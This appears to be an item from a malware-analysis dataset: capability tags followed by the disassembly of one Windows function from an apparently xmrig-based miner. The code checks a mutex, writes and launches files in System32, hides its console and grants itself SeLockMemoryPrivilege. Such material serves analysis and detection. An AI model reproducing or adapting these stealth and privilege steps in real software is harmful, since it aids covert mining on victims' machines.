Function at 0x1400e9e50
Capabilities:
Check mutex on windows
Create process on windows
Manipulate user privileges
Read file on windows
Write and execute a file
Write file on windows

Disassembly:
mov rax, rsp
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x4b8]
sub rsp, 0x590
mov qword [rbp - 0x18], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
mov rax, qword [0x14014a1f8]
xor rax, rsp
mov qword [rbp + 0x480], rax
mov r15, rdx
mov r13d, ecx
mov dword [rsp + 0x60], ecx
lea r8, str.sfdkjjhgkdsfhgjksd
mov r14d, 1
mov edx, r14d
xor ecx, ecx
call qword [sym.imp.KERNEL32.DLL_CreateMutexW]
call qword [sym.imp.KERNEL32.DLL_GetLastError]
cmp eax, 0xb7
jne 0x1400e9ef5
call fcn.1400b2ae0
mov r8d, eax
mov eax, 0x68db8bad
imul r8d
sar edx, 0xc
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0x2710
sub r8d, ecx
imul ecx, r8d, 0x3e8
call qword [sym.imp.KERNEL32.DLL_Sleep]
xor eax, eax
jmp 0x1400ea878
xor ecx, ecx
call fcn.1400b40f8
mov rcx, rax
call fcn.1400b2b0c
lea rdx, [0x14012c08c]
mov rcx, qword [r15]
call fcn.1400b3714
mov rdi, rax
mov r12d, 2
mov r8d, r12d
xor edx, edx
mov rcx, rax
call fcn.1400b3d88
mov rcx, rdi
call fcn.1400b357c
movsxd rbx, eax
mov dword [rsp + 0x50], ebx
xor r8d, r8d
xor edx, edx
mov rcx, rdi
call fcn.1400b3d88
mov rcx, rbx
call fcn.1400ad9b4
mov rsi, rax
mov qword [rsp + 0x58], rax
mov r9, rdi
mov r8, rbx
mov rdx, r14
mov rcx, rax
call fcn.1400b43c8
mov rcx, rdi
call fcn.1400b3b14
mov ecx, dword [rbx + rsi - 8]
mov edx, dword [rbx + rsi - 4]
mov dword [rsp + 0x68], edx
dec ecx
mov dword [rsp + 0x6c], ecx
xor ebx, ebx
mov esi, ebx
test edx, edx
jle 0x1400ea0d6
mov r12, qword [rsp + 0x58]
mov r13d, dword [rsp + 0x50]
test ecx, ecx
js 0x1400ea0cb
mov edx, 8
lea rcx, str.C:WindowsSystem32_
call fcn.1400ea8b0
mov rdi, rax
lea rdx, [0x14012c0ac]
mov rcx, rax
call fcn.1400b3714
mov rbx, rax
lea ecx, [r13 - 0x100]
movsxd r8, ecx
sub r8, 8
mov r9, rax
mov rdx, r14
mov rcx, r12
call fcn.1400b3fe0
mov edx, 0xfd
lea rcx, [0x14012b44f]
call fcn.1400ea8b0
mov rcx, rax
mov rdx, rbx
call fcn.1400adfac
mov r9, rbx
mov r8, r14
mov edx, 4
lea rcx, [rsp + 0x6c]
call fcn.1400b3fe0
mov r9, rbx
mov r8, r14
mov edx, 4
lea rcx, [rsp + 0x68]
call fcn.1400b3fe0
mov rcx, rbx
call fcn.1400b3b14
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0xc], xmm0
movups xmmword [rbp + 4], xmm0
movups xmmword [rbp + 0x14], xmm0
movups xmmword [rbp + 0x24], xmm0
movups xmmword [rbp + 0x34], xmm0
movups xmmword [rbp + 0x44], xmm0
mov dword [rbp + 0x54], eax
mov dword [rbp - 0x10], 0x68
movups xmmword [rbp - 0x60], xmm0
mov qword [rbp - 0x50], rax
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rdi + r8], al
jne 0x1400ea064
inc r8
mov rdx, rdi
lea rcx, [rbp + 0x90]
call fcn.1400b3a54
lea rax, [rbp - 0x60]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x10]
mov qword [rsp + 0x40], rax
xor ebx, ebx
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], ebx
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x90]
xor ecx, ecx
call qword [sym.imp.KERNEL32.DLL_CreateProcessW]
inc esi
cmp esi, dword [rsp + 0x68]
jge 0x1400ea0cb
mov ecx, dword [rsp + 0x6c]
jmp 0x1400e9f96
mov r12d, 2
mov r13d, dword [rsp + 0x60]
lea rax, [rbp - 0x40]
mov qword [rsp + 0x58], rax
mov qword [rbp - 0x40], r15
mov dword [rbp - 0x38], r13d
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x30], xmm0
mov qword [rbp - 0x20], rbx
movsxd rdi, r13d
xor r13d, r13d
mov ebx, r13d
test rdi, rdi
je 0x1400ea116
mov rdx, qword [r15 + rbx*8]
lea rcx, [rbp - 0x40]
call fcn.1400e1a60
inc rbx
cmp rbx, rdi
jb 0x1400ea101
call fcn.14008a674
mov rcx, rax
movabs rax, 0x346dc5d63886594b
imul rcx
sar rdx, 0xb
mov rcx, rdx
shr rcx, 0x3f
add rcx, rdx
lea rax, [rbp - 0x40]
xor ecx, eax
call fcn.1400b2b0c
nop
lea rcx, [rbp - 0x40]
call fcn.1400da130
test eax, eax
je 0x1400ea394
sub eax, 1
je 0x1400ea37d
sub eax, 1
je 0x1400ea323
cmp eax, 1
jne 0x1400ea38c
mov ecx, 0x208
call fcn.14008c6bc
mov rbx, rax
test rax, rax
je 0x1400ea195
xor edx, edx
mov r8d, 0x208
mov rcx, rax
call fcn.1400aaf50
jmp 0x1400ea198
mov rbx, r13
test rbx, rbx
je 0x1400ea23a
mov ecx, 0x410
call qword [fcn.1400ad9b4]
mov rdi, rax
test rax, rax
jne 0x1400ea1be
mov ecx, 0xfffff027
jmp 0x1400ea23f
mov r8d, 0x208
mov rdx, rdi
xor ecx, ecx
call qword [sym.imp.KERNEL32.DLL_GetModuleFileNameW]
test eax, eax
jle 0x1400ea20d
cdqe
mov word [rdi + rax*2], r13w
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], 0x208
mov qword [rsp + 0x20], rbx
mov r9d, 0xffffffff
mov r8, rdi
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.DLL_WideCharToMultiByte]
mov esi, eax
test eax, eax
jne 0x1400ea228
call qword [sym.imp.KERNEL32.DLL_GetLastError]
mov esi, eax
mov rcx, rdi
call fcn.140067840
mov ecx, esi
call fcn.14006ef30
mov ecx, eax
jmp 0x1400ea23f
mov rcx, rdi
call fcn.140067840
mov ecx, r13d
lea eax, [rsi - 1]
cdqe
jmp 0x1400ea244
mov ecx, 0xfffff019
mov eax, 0x208
test ecx, ecx
cmovs rax, r13
mov rcx, rbx
test rax, rax
jne 0x1400ea25c
call fcn.14008c1d0
mov rbx, r13
jmp 0x1400ea2c0
mov edx, 0x5c
call fcn.1400aa3f0
mov rdx, rax
test rax, rax
jne 0x1400ea27b
mov rcx, rbx
call fcn.14008c1d0
mov rbx, r13
jmp 0x1400ea2c0
sub rdx, rbx
lea rax, [rdx + 0xe]
cmp rax, 0x208
jb 0x1400ea297
mov rcx, rbx
call fcn.14008c1d0
mov rbx, r13
jmp 0x1400ea2c0
mov byte [rdx + rbx], 0x5c
lea rcx, str.topology.xml
sub rdx, rcx
lea r8, [rdx + rbx]
nop dword [rax]
movzx eax, byte [rcx]
mov byte [r8 + rcx + 1], al
lea rcx, [rcx + 1]
test al, al
jne 0x1400ea2b0
lea rcx, [rsp + 0x60]
call fcn.1400749e0
mov rcx, qword [rsp + 0x60]
call fcn.1400749f0
xor r8d, r8d
mov rdx, rbx
mov rcx, qword [rsp + 0x60]
call fcn.14007b510
cmp eax, 0xffffffff
jne 0x1400ea2f7
lea rcx, str.failed_to_export_hwloc_topology._n
call fcn.140005bf0
jmp 0x1400ea306
mov rdx, rbx
lea rcx, str.hwloc_topology_successfully_exported_to___s__n
call fcn.140005bf0
mov rcx, qword [rsp + 0x60]
call fcn.1400748a0
mov rcx, rbx
call fcn.14008c1d0
mov r14d, r13d
mov r12d, r13d
jmp 0x1400ea86c
lea rcx, str.__n_built_on_Aug_24_2019_with_MSVC
call fcn.140005bf0
mov edx, 0x7e3
lea rcx, [0x14012b58c]
call fcn.140005bf0
lea rcx, str._n_features:_64_bit_AES_n
call fcn.140005bf0
lea rdx, str.1.31.0
lea rcx, str._nlibuv__s_n
call fcn.140005bf0
lea rdx, str.2.0.4
lea rcx, str.hwloc__s_n
call fcn.140005bf0
mov r14d, r13d
mov r12d, r13d
jmp 0x1400ea86c
lea rcx, [0x14012b61c]
call fcn.140005bf0
mov r14d, r13d
mov r12d, r14d
jmp 0x1400ea86c
lea rax, vtable.xmrig::App.1.0
mov qword [rsp + 0x70], rax
lea rax, vtable.xmrig::App.0
mov qword [rsp + 0x78], rax
mov qword [rbp - 0x80], r13
mov qword [rbp - 0x70], r13
mov ecx, 0x20
call fcn.14008c194
mov rbx, rax
mov qword [rsp + 0x58], rax
lea rax, vtable.xmrig::Base.0
mov qword [rbx], rax
mov ecx, 0x30
call fcn.14008c194
mov qword [rsp + 0x58], rax
mov qword [rax], r13
mov qword [rax + 8], r13
lea rcx, [rbp - 0x40]
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], r13
mov qword [rax + 0x20], r13
mov qword [rax + 0x28], r13
mov qword [rbx + 8], rax
lea rax, vtable.xmrig::Controller.0
mov qword [rbx], rax
mov qword [rbx + 0x10], r13
mov qword [rbx + 0x18], r13
mov qword [rbp - 0x78], rbx
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 0x18]
lea rdi, [0x1401509c0]
mov rdx, qword [rbp - 0x78]
test eax, eax
jne 0x1400ea4d3
mov rax, qword [rdx + 8]
mov rcx, qword [rax + 8]
cmp byte [rcx + 9], 0
jne 0x1400ea4d3
mov ecx, 0x18
call fcn.14008c194
mov rbx, rax
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x70]
mov qword [rbx + 8], rax
mov ecx, 0x158
call fcn.14008c194
mov qword [rbx + 0x10], rax
mov qword [rax], rbx
mov rcx, qword [0x140150990]
test rcx, rcx
jne 0x1400ea492
call fcn.14006b480
test eax, eax
je 0x1400ea488
mov rcx, r13
jmp 0x1400ea492
mov qword [0x140150990], rdi
mov rcx, rdi
xor r8d, r8d
mov rdx, qword [rbx + 0x10]
call fcn.1400634f0
mov rcx, qword [rbx + 0x10]
test dword [rcx + 0x58], 0x4000
je 0x1400ea4cb
mov edx, r14d
call fcn.1400638c0
lea r8, [0x1400d5ae0]
lea rdx, [0x1400d5b20]
mov rcx, qword [rbx + 0x10]
call fcn.140067520
nop
mov qword [rbp - 0x80], rbx
mov rdx, qword [rbp - 0x78]
mov rax, qword [rdx]
mov rcx, rdx
call qword [rax + select]
test al, al
je 0x1400ea7ed
mov ecx, 0x20
call fcn.14008c194
mov r15, rax
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x78]
mov qword [r15], rax
lea rsi, [r15 + 8]
mov rdi, r13
lea r12, [0x1401509c0]
lea r14, [0x14012c000]
mov ecx, 0x108
call fcn.14008c194
mov rbx, rax
mov qword [rax], r15
mov qword [rsi], rax
mov rdx, qword [0x140150990]
test rdx, rdx
jne 0x1400ea54a
call fcn.14006b480
test eax, eax
je 0x1400ea540
mov rdx, r13
jmp 0x1400ea54a
mov qword [0x140150990], r12
mov rdx, r12
mov qword [rbx + 8], rdx
mov dword [rbx + select], 0x10
mov dword [rbx + 0x58], 8
lea rcx, [rbx + 0x20]
lea rax, [rdx + 0x10]
mov qword [rcx], rax
mov rax, qword [rdx + 0x18]
mov qword [rbx + 0x28], rax
mov qword [rax], rcx
mov qword [rdx + 0x18], rcx
mov dword [rbx + 0x30], 0xffffffff
mov dword [rbx + 0x100], r13d
mov dword [rbx + 0x68], r13d
mov qword [rbx + 0x60], r13
mov dword [rbx + 0x98], select
mov qword [rbx + 0xd0], r13
mov qword [rbx + 0x90], rbx
mov r8d, dword [rdi + r14]
mov rcx, rbx
call fcn.140068810
add rdi, 4
add rsi, 8
cmp rdi, 0xc
jb 0x1400ea513
mov qword [rbp - 0x70], r15
mov rax, qword [rbp - 0x78]
mov rcx, qword [rax + 8]
mov rax, qword [rcx + 8]
cmp byte [rax + 9], 0
mov r14d, 1
lea r12d, [r14 + 1]
je 0x1400ea614
call qword [sym.imp.KERNEL32.DLL_GetConsoleWindow]
test rax, rax
je 0x1400ea5fa
xor edx, edx
mov rcx, rax
call qword [sym.imp.USER32.dll_ShowWindow]
jmp 0x1400ea614
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.DLL_GetStdHandle]
mov rcx, rax
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
call qword [sym.imp.KERNEL32.DLL_FreeConsole]
mov rax, qword [rbp - 0x78]
mov rcx, qword [rax + 8]
mov rax, qword [rcx + 8]
cmp byte [rax + 0xa1], 0
je 0x1400ea766
mov dword [0x14014f334], r12d
call fcn.1400eb530
test eax, eax
jne 0x1400ea75f
mov rbx, r13
call qword [sym.imp.KERNEL32.DLL_GetCurrentProcess]
mov rcx, rax
lea r8, [rsp + 0x60]
mov edx, 8
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
cmp eax, r14d
jne 0x1400ea766
mov dword [rsp + 0x50], r13d
lea rax, [rsp + 0x50]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
mov edx, r14d
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
mov r9d, dword [rsp + 0x50]
test r9d, r9d
je 0x1400ea6a9
mov edx, r9d
mov ecx, 0x40
call qword [sym.imp.KERNEL32.DLL_LocalAlloc]
mov rbx, rax
mov r9d, dword [rsp + 0x50]
lea rax, [rsp + 0x50]
mov qword [rsp + 0x20], rax
mov r8, rbx
mov edx, r14d
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
test rbx, rbx
je 0x1400ea766
xorps xmm0, xmm0
movups xmmword [rbp + 0x60], xmm0
movups xmmword [rbp + 0x70], xmm0
movups xmmword [rbp + 0x80], xmm0
mov edi, r13d
lea r9, [rsp + 0x58]
mov r8d, 0xf0fff
lea rdx, [rbp + 0x60]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LsaOpenPolicy]
test eax, eax
jne 0x1400ea749
lea rax, str.SeLockMemoryPrivilege
mov qword [rbp - 0x58], rax
mov dword [rbp - 0x60], 0x2c002a
movaps xmm0, xmmword [rbp - 0x60]
movdqa xmmword [rbp - 0x60], xmm0
mov r9d, r14d
lea r8, [rbp - 0x60]
mov rdx, qword [rbx]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ADVAPI32.dll_LsaAddAccountRights]
test eax, eax
cmove edi, r14d
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ADVAPI32.dll_LsaClose]
mov rcx, rbx
call qword [sym.imp.KERNEL32.DLL_LocalFree]
test edi, edi
je 0x1400ea766
call fcn.1400eb530
test eax, eax
je 0x1400ea766
or dword [0x14014f334], r14d
mov rax, qword [rbp - 0x78]
mov rcx, qword [rax + 8]
mov rax, qword [rcx + 8]
cmp byte [rax + 0xa], 0
je 0x1400ea77d
mov r12d, r13d
jmp 0x1400ea7ed
mov rcx, qword [rbp - 0x78]
mov rax, qword [rcx]
call qword [rax + 0x20]
mov rcx, qword [0x140150990]
test rcx, rcx
je 0x1400ea79c
lea rdi, [0x1401509c0]
jmp 0x1400ea7bb
call fcn.14006b480
lea rdi, [0x1401509c0]
test eax, eax
je 0x1400ea7b1
mov rcx, r13
jmp 0x1400ea7bb
mov qword [0x140150990], rdi
mov rcx, rdi
call fcn.14006bc40
mov r12d, eax
mov rcx, qword [0x140150990]
test rcx, rcx
jne 0x1400ea7e7
call fcn.14006b480
test eax, eax
je 0x1400ea7dd
mov rcx, r13
jmp 0x1400ea7e7
mov qword [0x140150990], rdi
mov rcx, rdi
call fcn.140067a50
nop
lea rax, vtable.xmrig::App.1.0
mov qword [rsp + 0x70], rax
lea rax, vtable.xmrig::App.0
mov qword [rsp + 0x78], rax
mov rbx, qword [rbp - 0x70]
test rbx, rbx
je 0x1400ea824
mov rcx, rbx
call fcn.1400da9c0
nop
mov edx, 0x20
mov rcx, rbx
call fcn.14008c1d0
mov rbx, qword [rbp - 0x80]
test rbx, rbx
je 0x1400ea859
mov rcx, qword [rbx + 0x10]
test rcx, rcx
je 0x1400ea848
test byte [rcx + 0x58], 3
jne 0x1400ea848
lea rdx, [0x140001340]
call fcn.140062fd0
mov qword [rbx + 0x10], r13
mov edx, 0x18
mov rcx, rbx
call fcn.14008c1d0
mov rcx, qword [rbp - 0x78]
test rcx, rcx
je 0x1400ea86c
mov r8, qword [rcx]
mov edx, r14d
call qword [r8]
nop
lea rcx, [rbp - 0x30]
call fcn.140005ca0
mov eax, r12d
mov rcx, qword [rbp + 0x480]
xor rcx, rsp
call fcn.14008c170
lea r11, [rsp + 0x590]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret